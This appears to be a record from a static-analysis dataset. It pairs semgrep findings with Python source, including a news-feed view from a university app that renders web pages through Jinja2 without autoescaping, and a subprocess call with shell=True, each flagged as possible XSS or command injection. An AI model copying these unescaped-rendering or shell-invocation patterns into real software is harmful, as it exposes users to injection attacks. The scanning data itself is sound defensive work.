{"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 175, "col": 18, "offset": 6930}, "end": {"line": 175, "col": 47, "offset": 6959}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_035f877a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 177, "line_end": 177, "column_start": 18, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 177, "col": 18, "offset": 7068}, "end": {"line": 177, "col": 45, "offset": 7095}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_a99744dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 18, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 179, "col": 18, "offset": 7184}, "end": {"line": 179, "col": 43, "offset": 7209}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_ca0fddc699b84e91_7c40e157", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 182, "line_end": 182, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 182, "col": 24, "offset": 7323}, "end": {"line": 182, "col": 28, "offset": 7327}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_ca0fddc699b84e91_fee08c8b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 183, "line_end": 184, "column_start": 26, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 183, "col": 26, "offset": 7387}, "end": {"line": 184, "col": 64, "offset": 7519}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_ca0fddc699b84e91_82de4a37", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 183, "line_end": 183, "column_start": 65, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 183, "col": 65, "offset": 7426}, "end": {"line": 183, "col": 69, "offset": 7430}, "extra": {"message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
9
true
[ "CWE-79", "CWE-116", "", "CWE-78", "CWE-78" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled", "rules.python.lang.correctness.unchecked-subprocess-call", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-tru...
[ "security", "security", "correctness", "security", "security" ]
[ "LOW", "MEDIUM", "MEDIUM", "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "HIGH", "HIGH" ]
[ 58, 58, 182, 183, 183 ]
[ 58, 58, 182, 184, 183 ]
[ 20, 20, 24, 26, 65 ]
[ 89, 89, 28, 64, 69 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "Detected a Jinja2 environment witho...
[ 5, 5, 5, 7.5, 7.5 ]
[ "LOW", "LOW", "", "LOW", "HIGH" ]
[ "MEDIUM", "MEDIUM", "", "HIGH", "LOW" ]
environment.py
/hissw/environment.py
wtbarnes/hissw
MIT
2024-11-18T19:34:37.612903+00:00
1,625,573,774,000
798dfb6381a0d5ba653f52d20b559d6d11a9ecb8
3
{ "blob_id": "798dfb6381a0d5ba653f52d20b559d6d11a9ecb8", "branch_name": "refs/heads/master", "committer_date": 1625573774000, "content_id": "c4e8c3fd0f7118239452679411db41c635295609", "detected_licenses": [ "MIT" ], "directory_id": "c822c02381fd78198cbd79fdd729efe83ccf3bde", "extension": "py", "filename": "NewsFeedView.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 236575941, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9881, "license": "MIT", "license_type": "permissive", "path": "/server/source/views/NewsFeedView.py", "provenance": "stack-edu-0054.json.gz:569816", "repo_name": "Ali-Alhasani/UniSaarApp", "revision_date": 1625573774000, "revision_id": "b221cac1bd709d7994e4567e0f18e889d852018f", "snapshot_id": "3fc238f1fd5a1e1c6c8389320e02330217da50b8", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/Ali-Alhasani/UniSaarApp/b221cac1bd709d7994e4567e0f18e889d852018f/server/source/views/NewsFeedView.py", "visit_date": "2023-06-14T09:32:33.781608" }
2.828125
stackv2
import json # to encode items as JSON from source.models.EventModel import EventModel from source.models.NewsModel import NewsModel import jinja2 from icalendar import Calendar, Event from datetime import datetime from source.Constants import * class NewsFeedView: def __init__(self): self.loader = jinja2.FileSystemLoader(HTML_TEMPLATE_DIRECTORY) self.imageLoader = jinja2.FileSystemLoader(IMAGE_ERROR_DIRECTORY) self.env1 = jinja2.Environment(loader=self.imageLoader) self.env = jinja2.Environment(loader=self.loader) self.env1.globals['IMAGE_ERROR_DIRECTORY'] = 'IMAGE_ERROR_DIRECTORY' self.news_template = self.env.get_template(WEBVIEW_NEWS_TEMPLATE) self.event_template = self.env.get_template(WEBVIEW_EVENTS_TEMPLATE) self.error_template = self.env.get_template(WEBVIEW_ERROR_TEMPLATE) def newsModelHeaderToJSON(self, newsModel): """ Places a representation of passed newsAndEventsModel into the dictionary @param newsModel: the model to be encoded """ categoryDict = {} for category in newsModel.getCategories(): categoryDict[category.getID()] = category.getName() sendDict = { "isEvent": False, "publishedDate": str(newsModel.getPublishedDate()), "title": newsModel.getTitle(), "categories": categoryDict, "link": newsModel.getLink(), "description": newsModel.getDescription(), "imageURL": newsModel.getImageLink(), "id": newsModel.getID() } return sendDict def eventModelHeaderToJSON_NewsMainScreen(self, eventModel): categoryDict = {} for category in eventModel.getCategories(): categoryDict[category.getID()] = category.getName() sendDict = { "isEvent": True, "publishedDate": str(eventModel.getPublishedDate()), "happeningDate": str(eventModel.getHappeningDate()), "title": eventModel.getTitle(), "categories": categoryDict, "link": eventModel.getLink(), "description": eventModel.getDescription(), "imageURL": eventModel.getImageLink(), "id": eventModel.getID() } return sendDict def eventModelHeaderToJSON_EventsMainScreen(self, eventModel): categoryDict = {} for category in eventModel.getCategories(): categoryDict[category.getID()] = category.getName() sendDict = { "publishedDate": str(eventModel.getPublishedDate()), "happeningDate": str(eventModel.getHappeningDate()), "title": eventModel.getTitle(), "categories": categoryDict, "link": eventModel.getLink(), "description": eventModel.getDescription(), "imageURL": eventModel.getImageLink(), "id": eventModel.getID() } return sendDict def newsFeedHeadersToJSON(self, news, itemCount, lastChanged, hasNextPage): """ Encodes all NewsAndEventsModels within the list news as JSON :param itemCount: the number of items for the filter settings :param hasNextPage: whether for the filter settings there exists a next page (for continuous scrolling) :param lastChanged: timestamp of the last time something in the news categories changed :param news: a list of NewsAndEventModels to convert into JSON """ to_send = {"itemCount": itemCount, "hasNextPage": hasNextPage, "categoriesLastChanged": str(lastChanged), "items": []} for newsItem in news: if isinstance(newsItem, NewsModel): to_send["items"].append(self.newsModelHeaderToJSON(newsItem)) elif isinstance(newsItem, EventModel): to_send["items"].append(self.eventModelHeaderToJSON_NewsMainScreen(newsItem)) return json.dumps(to_send) def toWebViewNewsItem(self, newsItem): """ @param: newsTemplate: It is a dictionary of different items from the news JSON. It has, title: that describes the title of the news, category: that has the category of the event or the name 'news' itself, publishedDate: that says the data on which the news information is published, image: if the news item has an attached image, description: that has a short description of the news, content: that has more information about a particular news, this dictionary is then rendered into a web page using jinja. For more documentation, open https://jinja.palletsprojects.com/en/2.10.x/ @param newsItem: to be encoded as HTML """ newsTemplate = dict(title=newsItem.getTitle(), category=newsItem.getCategoryString(), publishedDate=newsItem.getPublishedDate(), image=newsItem.getImageLink(), description=newsItem.getDescription(), content=newsItem.getContent(), link=newsItem.getLink() ) renderedTemplate = self.news_template.render(newsTemplate=newsTemplate) return renderedTemplate def toWebViewEventItem(self, eventItem, language): """ @param: eventTemplate: It is a dictionary of different items from the events JSON. It has, title: that describes the title of the event, category: that has the category of the event or the name 'event' itself, publishedDate: that says the data on which the event information is published, happeningDate: specific to events category tha mentions when the event is happening, image: if the event has any kind of image attached, description: that has a short description of the event, content: that has more information about a particular event, this dictionary is then rendered into a web page using jinja. For more documentation, open https://jinja.palletsprojects.com/en/2.10.x/ @param eventItem: to be encoded as HTML @param language: str """ icsLink = ICS_BASE_LINK + str(eventItem.getID()) eventTemplate = dict(title=eventItem.getTitle(), category=eventItem.getCategoryString(), happeningDate=eventItem.getHappeningDate(), image=eventItem.getImageLink(), description=eventItem.getDescription(), content=eventItem.getContent(), link=eventItem.getLink(), ics=icsLink, language=language ) renderedTemplate = self.event_template.render(eventTemplate=eventTemplate) return renderedTemplate def toJSONEvents(self, events, lastChanged): """ Returns the JSON format of a set of events @param events: the events to be encoded as JSON @param lastChanged: the last time the categories of the events changed """ to_send = {"eventCategoriesLastChanged": str(lastChanged), "items": []} # check to make sure events contains only EventModels, then encode for e in events: assert (isinstance(e, EventModel)), "Each element in events should be an EventModel!" to_send["items"].append(self.eventModelHeaderToJSON_EventsMainScreen(e)) return json.dumps(to_send) def toJSONCategories(self, categories): """ :param categories: a set of categories, where each category is a string :return: a json with a list of all categories """ categoryList = [] for cat in categories: categoryList.append({"id": cat.getID(), "name": cat.getName()}) categoryList = sorted(categoryList, key=lambda x: x['id']) return json.dumps(categoryList) def toICalEvent(self, event: EventModel): """ Creates a iCal string containing just one event @param event: EventModel @return: str """ cal = Calendar() # add required properties to calendar cal.add('prodid', PRODID) cal.add('version', '2.0') # create ical event ev = Event() # add required properties to event ev.add('uid', '{time}-{eventID}@{domain}'.format(time=datetime.utcnow().isoformat(), eventID=event.getID(), domain=ICS_DOMAIN)) ev.add('dtstamp', datetime.utcnow()) startTime = event.getHappeningDate() if event.getHappeningTime() is None else event.getHappeningTime() ev.add('dtstart', startTime) # make the event transparent (in order not to block the calendar slot) ev.add('transp', 'TRANSPARENT') # add optional parameters title = event.getTitle() description = event.getDescription() link = event.getLink() categories = event.getCategories() if not title == '': ev.add('summary', title) if not description == '': ev.add('description', description) if not link == '': ev.add('link', link) if not len(categories) == 0: ev.add('categories', [cat.getName() for cat in categories]) cal.add_component(ev) return cal.to_ical() def toWebViewError(self, language): errorimage = IMAGE_ERROR_URL errorTemplate = dict(language=language, errorimage=errorimage) renderedTemplate = self.error_template.render(errorTemplate=errorTemplate) return renderedTemplate
223
43.31
115
16
1,955
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_d488871e9984e8ff_1b7a80d4", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 21, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 15, "col": 21, "offset": 458}, "end": {"line": 15, "col": 64, "offset": 501}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_d488871e9984e8ff_f58770b5", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=self.imageLoader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 21, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 15, "col": 21, "offset": 458}, "end": {"line": 15, "col": 64, "offset": 501}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=self.imageLoader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_d488871e9984e8ff_1a88331b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 16, "col": 20, "offset": 521}, "end": {"line": 16, "col": 58, "offset": 559}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_d488871e9984e8ff_2991d168", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=self.loader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 16, "col": 20, "offset": 521}, "end": {"line": 16, "col": 58, "offset": 559}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=self.loader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-79", "CWE-116", "CWE-79", "CWE-116" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled", "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled" ]
[ "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 15, 15, 16, 16 ]
[ 15, 15, 16, 16 ]
[ 21, 21, 20, 20 ]
[ 64, 64, 58, 58 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "Detected a Jinja2 environment witho...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
NewsFeedView.py
/server/source/views/NewsFeedView.py
Ali-Alhasani/UniSaarApp
MIT
2024-11-18T18:39:22.578779+00:00
1,620,904,239,000
c83f52cfd8d8fd1da357d65f24ea664dc817e539
2
{ "blob_id": "c83f52cfd8d8fd1da357d65f24ea664dc817e539", "branch_name": "refs/heads/main", "committer_date": 1620904239000, "content_id": "03e7a1683ac55a502e9660d1760560e5c770ed0e", "detected_licenses": [ "Apache-2.0" ], "directory_id": "3d82f7a9011eb0ead04ac1474be39b357e7900ca", "extension": "py", "filename": "load_data.py", "fork_events_count": 0, "gha_created_at": 1620923593000, "gha_event_created_at": 1620923594000, "gha_language": null, "gha_license_id": "Apache-2.0", "github_id": 367110284, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5000, "license": "Apache-2.0", "license_type": "permissive", "path": "/train/method/model/load_data.py", "provenance": "stack-edu-0054.json.gz:569821", "repo_name": "Littlehong-1997/echo-1", "revision_date": 1620904239000, "revision_id": "d77887fc9a3122508c8eba487e6034494ccc0a83", "snapshot_id": "00b06dd0371889d3342dd97521eafed121d4b4ba", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/Littlehong-1997/echo-1/d77887fc9a3122508c8eba487e6034494ccc0a83/train/method/model/load_data.py", "visit_date": "2023-05-03T05:05:13.996453" }
2.5
stackv2
